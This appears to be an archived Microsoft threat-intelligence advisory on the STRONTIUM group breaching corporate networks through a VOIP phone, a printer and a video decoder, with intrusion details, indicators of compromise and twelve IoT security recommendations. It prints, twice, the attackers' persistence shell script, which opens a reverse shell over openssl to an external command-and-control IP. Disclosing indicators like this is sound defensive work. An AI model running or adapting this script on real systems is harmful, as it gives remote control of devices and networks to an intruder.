Corporate IoT - a path to intrusion

By MSRC Team

Published: 2019-08-05 · Archived: 2026-04-05 13:17:44 UTC

Several sources estimate that by the year 2020 some 50 billion IoT devices will be deployed worldwide. IoT devices are purposefully designed to connect to a network and many are simply connected to the internet with little management or oversight. Such devices still must be identifiable, maintained, and monitored by security teams, especially in large complex enterprises. Some IoT devices may even communicate basic telemetry back to the device manufacturer or have means to receive software updates. In most cases however, the customers' IT operation center don't know they exist on the network.

In 2016, the Mirai botnet was discovered by the malware research group MalwareMustDie. The botnet initially consisted of IP cameras and basic home routers, two types of IoT devices commonly found in the household. As more variants of Mirai emerged, so did the list IoT devices it was targeting. The source code for the malware powering this botnet was eventually leaked online.

In 2018, hundreds of thousands of home and small business networking and storage devices were compromised and loaded with the so-called "VPN Filter" malware. The FBI has publicly attributed this activity to a nation-state actor and took subsequent actions to disrupt this botnet, although the devices would remain vulnerable to re-infection unless proper firmware or security controls were put in place by the user.

There were also multiple press reports of cyber-attacks on several devices during the opening ceremonies for the 2018 Olympic Games in PyeongChang. Officials did confirm a few days later that they were a victim of malicious cyber-attacks that prevented attendees from printing their tickets to the Games and televisions and internet access in the main press center simply stopped working.

Three IoT devices

In April, security researchers in the Microsoft Threat Intelligence Center discovered infrastructure of a known adversary communicating to several external devices. Further research uncovered attempts by the actor to compromise popular IoT devices (a VOIP phone, an office printer, and a video decoder) across multiple customer locations. The investigation uncovered that an actor had used these devices to gain initial access to corporate networks. In two of the cases, the passwords for the devices were deployed without changing the default manufacturer's passwords and in the third instance the latest security update had not been applied to the device.

These devices became points of ingress from which the actor established a presence on the network and continued looking for further access. Once the actor had successfully established access to the network, a simple network scan to look for other insecure devices allowed them to discover and move across the network in search of higher-privileged accounts that would grant access to higher-value data. After gaining access to each of the IoT devices, the actor ran *tcpdump* to sniff network traffic on local subnets. They were also seen enumerating administrative groups to attempt further exploitation. As the actor moved from one device to another, they would drop a simple

shell script to establish persistence on the network which allowed extended access to continue hunting. Analysis of network traffic showed the devices were also communicating with an external command and control (C2) server.

-- contents of *[IOT Device]*` file–

!/bin/sh

export _ [IOT Device] _`` ="-qws -display :1 -nomouse" echo 1|tee /tmp/.c;sh -c '(until (sh -c "openssl s_client -quiet -host 167.114.153.55 -port 443 |while : ; do sh && break; done| openssl s_client -quiet -host 167.114.153.55 -port 443"); do (sleep 10 && cn=$((cat /tmp/.c`+1)) && echo $cn|tee /tmp.c && if [$cn -ge 30]; then (rm /tmp/.c;pkill -f 'openssl'); fi);done)&' &

Figure 1: script used to maintain network persistence

The following IP addresses are believed to have been used by the actor for command and control (C2) during these intrusions:

Attribution

We attribute the attacks on these customers using three popular IoT devices to an activity group that Microsoft refers to as STRONTIUM. Since we identified these attacks in the early stages, we have not been able to conclusively determine what STRONTIUM's ultimate objectives were in these intrusions.

Over the last twelve months, Microsoft has delivered nearly 1400 nation-state notifications to those who have been targeted or compromised by STRONTIUM. One in five notifications of STRONTIUM activity were tied to attacks against non-governmental organizations, think tanks, or politically affiliated organizations around the world. The remaining 80% of STRONTIUM attacks have largely targeted organizations in the following sectors: government, IT, military, defense, medicine, education, and engineering. We have also observed and notified STRONTIUM attacks against Olympic organizing committees, anti-doping agencies, and the hospitality industry. The "VPN Filter" malware has also been attributed to STRONTIUM by the FBI.

Call to action

Today we are sharing this information to raise awareness of these risks across the industry and calling for better enterprise integration of IoT devices, particularly the ability to monitor IoT device telemetry within enterprise networks. Today, the number of deployed IoT devices outnumber the population of personal computers and mobile phones, combined. With each networked IoT device having its own separate network stack, it's quite easy to see the need for better enterprise management, especially in today's "bring your own device" world.

While much of the industry focuses on the threats of hardware implants, we can see in this example that adversaries are happy to exploit simpler configuration and security issues to achieve their objectives. These simple attacks taking advantage of weak device management are likely to expand as more IoT devices are deployed in corporate environments. Upon conclusion of our investigation, we shared this information with the manufacturers of the specific devices involved and they have used this event to explore new protections in their products. However, there is a need for broader focus across IoT in general, both from security teams at organizations that

need to be more aware of these types of threats, as well as from IoT device makers who need to provide better enterprise support and monitoring capabilities to make it easier for security teams to defend their networks.

Indicators of Compromise

Below are a series of indicators Microsoft has observed as active during the STRONTIUM activity discussed in this article.

Command-and-Control (C2) IP addresses

Script for maintaining persistence on network connected device

`--contents of` *`[IOT Device]`* `` ` `` file–

!/bin/sh

export `_` [IOT Device] `_`` ="-qws -display :1 -nomouse" echo 1|tee /tmp/.c;sh -c '(until (sh -c "openssl s_client -quiet -host 167.114.153.55 -port 443 |while : ; do sh && break; done| openssl s_client -quiet -host 167.114.153.55 -port 443"); do (sleep 10 && cn=$((cat /tmp/.c`+1)) && echo $cn|tee /tmp.c && if [$cn -ge 30]; then (rm /tmp/.c;pkill -f ‘openssl’); fi);done)&’ &

Recommendations for Securing Enterprise IoT

There are additional steps an organization can take to protect their infrastructure and network from similar activity. Microsoft recommends the following actions to better secure and manage risk associated with IoT devices:

1. Require approval and cataloging of any IoT devices running in your corporate environment.
2. Develop a custom security policy for each IoT device.
3. Avoid exposing IoT devices directly to the internet or create custom access controls to limit exposure.
4. Use a separate network for IoT devices if feasible.
5. Conduct routine configuration/patch audits against deployed IoT devices.
6. Define policies for isolation of IoT devices, preservation of device data, ability to maintain logs of device traffic, and capture of device images for forensic investigation.
7. Include IoT device configuration weaknesses or IoT-based intrusion scenarios as part of Red Team testing.
8. Monitor IoT device activity for abnormal behavior (e.g. a printer browsing SharePoint sites…).
9. Audit any identities and credentials that have authorized access to IoT devices, users and processes.
10. Centralize asset/configuration/patch management if feasible.
11. If your devices are deployed/managed by a 3rd party, include explicit Terms in your contracts detailing security practices to be followed and Audits that report security status and health of all managed devices.
12. Where possible, define SLA Terms in IoT device vendor contracts that set a mutually acceptable window for investigative response and forensic analysis to any compromise involving their product.

This case is one of several examples that[Eric Doerr will present at Black Hat](), on August 8, 2019, where Microsoft is calling for greater industry transparency to ensure that defenders are best equipped to respond to threats from

well-resourced adversaries.

Microsoft Threat Intelligence Center (MSTIC)

- Black Hat
- IoT
- MSTIC
- STRONTIUM
- Supply chain
- Threat intelligence
